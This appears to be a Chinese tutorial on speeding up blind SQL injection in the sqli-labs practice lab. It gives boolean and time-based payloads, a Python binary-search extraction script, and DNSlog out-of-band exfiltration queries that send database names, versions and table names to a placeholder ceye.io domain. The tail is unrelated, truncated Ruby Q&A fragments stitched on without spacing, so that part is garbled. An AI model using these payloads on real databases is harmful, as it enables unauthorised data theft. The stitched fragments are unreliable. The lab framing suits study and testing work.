盲注分为布尔盲注和时间盲注,一般为加快测试速度都用工具或者脚本跑。但有时还是很慢,这时就需要采取另外办法。在参考了一些资料后经过实验总结可行方案如下。1.二分法加速、2.与运算加速、3.二进制延时注入加速、4.dnslog OOB外带通信
常规的布尔盲注
猜解数据库名字的长度
?id=-1' or length(database())=8--+
逐一猜解数据库
?id=-1' or ascii(substr(database(),1,1))=115--+
或者
?id=-1' or ascii(mid(database(),1,1))=115--+
或者
?id=-1' or mid(database(),1,1)='s'--+
按照相同的方法猜解数据表的名字和字段内容
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where
table_schema=database() limit 1,1))=?--+
常规的时间盲注
猜解数据库名字的长度
?id=-1' or if(length(database())=8,sleep(5),0)--+
猜解数据库名称
?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
相同的方式猜解数据表数据字段
以sqli-lab靶场Less9为例进行测试
常规的sqlmap跑一下
sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --tech=T --dbms=mysql --current-db --batch

总共耗时约67s,在爆表时花费11s
二分法也是一个常规的算法,数据量太大太小都不适合该算法。而我们盲注加速匹配字符的条件正好合适。
主要原理就是从中间截断,不断缩小检索范围。
在sqli-labs Less8中有判断依据You are in …,因此可以使用布尔盲注。以下是copy别人的二分法脚本
import requests
import time
import math
def binarySearch(url,payload,start,end):
left=start
right=end
while left<right:
mid=math.floor((left+right)/2)
xkey1=payload.format(str(mid))
target = url + xkey1
#print(target)
response = requests.post(target)
if "You" in response.text:
left=mid+1
else:
right=mid
return int(left)
def database_len(url):
for i in range(20):
payload = "?id=1%27and%20length(database())>{}%23"
return binarySearch(url,payload,0,100)
def database_name(url): #二分法
databasename = ''
aa = database_len(url)
for i in range(1, aa + 1):
payload = "?id=1'and ascii(substr(database()," + str(i) + ",1))>{}%23"
#print(payload)
databasename += chr(binarySearch(url, payload, 32, 126))
return databasename
def main():
url = "http://192.168.3.17/sqli-labs/Less-8/"
datalen = database_len(url)
print(datalen)
result = database_name(url)
print(result)
if __name__ == '__main__':
main()
结果

主要原理是目标字符转为8位二进制通过1,2,4,8,16,32,64,128各位1进行与运算比较,在比较后就能确定各个比特位具体数值从而推出答案。直接采取字符比较的方式由于ASCII码范围为0~127比较范围比较大耗时长,在通过与运算后只需要比较7次就能确定字符的ascii码
经与运算加速后的py脚本比较hello world!
def compute_by_and(word):
for ele in word:
ele_b, times = get_character(ele)
print(f"Guess the value {ele_b}:{chr(ele_b)} with {times} times")
def get_character(char):
char_b = ord(char)
value = 0
times = 0
for i in range(7):
times = times + 1
if char_b & (2**i):
value = value + (2**i)
return value, times
if __name__ == "__main__":
compute_by_and("hello")
输出结果,总共比较次数7*12=84次

字符直接比较需要382次,速度差距还是挺大的
import string
def brute_force(word):
times = 0
for ele in word:
for c in string.printable:
times = times + 1
if ele == c:
break
print(f"Brute force {word} with {times} times")
if __name__ == "__main__":
brute_force("hello world!")

将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字
以select @@version为例

取@@version第一位
select mid((select @@version),1,1)

第一位字符转ASCII码
select ORD(mid((select @@version),1,1))

ASCII码转换为二进制
select BIN(ORD(mid((select @@version),1,1)))

二进制用0填充补齐8位
select LPAD(BIN(ORD(mid((select @@version),1,1))),8,0)

取二进制第一位

延时判断是0还是1
select if(1=MID(LPAD(BIN(ORD(mid((select @@version),1,1))),8,0),1,1),sleep(20),0)
原理:
首先理解UNC(Universal Naming Convention) 通用命名规则,格式如下
#sername为服务器名,sharename为共享资源名
\\servername\sharename
打印机、网络共享文件夹等都会使用到UNC,在使用UNC路径进行查询时会对域名进行DNS查询

在DNS服务器会接收到请求

利用OOB(out-of-band)外带通信传递信息
\\tpa.xxxxx.ceye.io\x

已经传带了信息

在mysql中利用函数load_file进行OOB外带通信
select load_file('//tpa2.xxx.ceye.io/x')
以此原理可以将查询的数据携带出来
select load_file(concat('//',(select version()),'.xxx.ceye.io/x')))
条件:
1.Web服务器为Windows,UNC为Windows特有
2.数据库load_file函数可用,需要用户有file_priv权限

3.mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL
secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。 secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。 secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
需要在配置文件my.ini中对secure_file_priv进行更改
本机采用的是5.7版本的mysql数据库,secure_file_priv存在默认的路径

之前的配置

修改如下

在修改完配置文件后需要重启mysql服务

这时secure_file_priv就为空了

4.域名前缀长度限制为63个字符,利用函数多次显示如mid(),substr(),substring()
5.域名前缀不支持特殊字符,先加密再解密绕过如hex()
利用:
需要用到dns平台,可以自己搭建也可以利用平台,这里直接使用ceye
原sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1
我们构造后的sql
SELECT * FROM users WHERE id='-1' or (select load_file(concat('//',(select version()),'.xxxx.ceye.io/x')))%23 LIMIT 0,1
执行sql后在DNS记录中找到了数据库version

响应查询版本的payload
or (select load_file(concat('//',(select version()),'.xxxxx.ceye.io/x')))%23
其他payload
爆库
or (select load_file(concat('//',(select database()),'.xxxxx.ceye.io/x')))%23
爆表
or (select load_file(concat('//',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io/x')))%23

对hex加密后的编码进行解密,转ASCII Hex得到表名

sqlmap中也有响应的DNS参数 -dns-domain
sqlmap -u "http://192.168.3.17/sqli-labs/Less-9/?id=1" --dbms=mysql --dns-domain xxxxx.ceye.io --current-db --batch
但是在像ceye这种在线平台并不会生效,会出现errordata retrieval through DNS channel failed. Turning off DNS exfiltration support

想要用sqlmap跑,需准备vps或者云服务器以及域名,sqlmap需要运行在DNS解析的服务器上,在追加–dns-domain参数后会在服务器监听53端口进行接收靶机发起的DNS请求
我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
总的来说,我对ruby还比较陌生,我正在为我正在创建的对象编写一些rspec测试用例。许多测试用例都非常基础,我只是想确保正确填充和返回值。我想知道是否有办法使用循环结构来执行此操作。不必为我要测试的每个方法都设置一个assertEquals。例如:describeitem,"TestingtheItem"doit"willhaveanullvaluetostart"doitem=Item.new#HereIcoulddotheitem.name.shouldbe_nil#thenIcoulddoitem.category.shouldbe_nilendend但我想要一些方法来使用
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
我正在尝试设置一个puppet节点,但rubygems似乎不正常。如果我通过它自己的二进制文件(/usr/lib/ruby/gems/1.8/gems/facter-1.5.8/bin/facter)在cli上运行facter,它工作正常,但如果我通过由rubygems(/usr/bin/facter)安装的二进制文件,它抛出:/usr/lib/ruby/1.8/facter/uptime.rb:11:undefinedmethod`get_uptime'forFacter::Util::Uptime:Module(NoMethodError)from/usr/lib/ruby
我想了解Ruby方法methods()是如何工作的。我尝试使用“ruby方法”在Google上搜索,但这不是我需要的。我也看过ruby-doc.org,但我没有找到这种方法。你能详细解释一下它是如何工作的或者给我一个链接吗?更新我用methods()方法做了实验,得到了这样的结果:'labrat'代码classFirstdeffirst_instance_mymethodenddefself.first_class_mymethodendendclassSecond使用类#returnsavailablemethodslistforclassandancestorsputsSeco
我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer
设置:狂欢ruby1.9.2高线(1.6.13)描述:我已经相当习惯在其他一些项目中使用highline,但已经有几个月没有使用它了。现在,在Ruby1.9.2上全新安装时,它似乎不允许在同一行回答提示。所以以前我会看到类似的东西:require"highline/import"ask"Whatisyourfavoritecolor?"并得到:Whatisyourfavoritecolor?|现在我看到类似的东西:Whatisyourfavoritecolor?|竖线(|)符号是我的终端光标。知道为什么会发生这种变化吗? 最佳答案
我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby1.9+ 关于ruby-主要:Objectwhenrun
我有一个具有一些属性的模型:attr1、attr2和attr3。我需要在不执行回调和验证的情况下更新此属性。我找到了update_column方法,但我想同时更新三个属性。我需要这样的东西:update_columns({attr1:val1,attr2:val2,attr3:val3})代替update_column(attr1,val1)update_column(attr2,val2)update_column(attr3,val3) 最佳答案 您可以使用update_columns(attr1:val1,attr2:val2
我不确定传递给方法的对象的类型是否正确。我可能会将一个字符串传递给一个只能处理整数的函数。某种运行时保证怎么样?我看不到比以下更好的选择:defsomeFixNumMangler(input)raise"wrongtype:integerrequired"unlessinput.class==FixNumother_stuffend有更好的选择吗? 最佳答案 使用Kernel#Integer在使用之前转换输入的方法。当无法以任何合理的方式将输入转换为整数时,它将引发ArgumentError。defmy_method(number)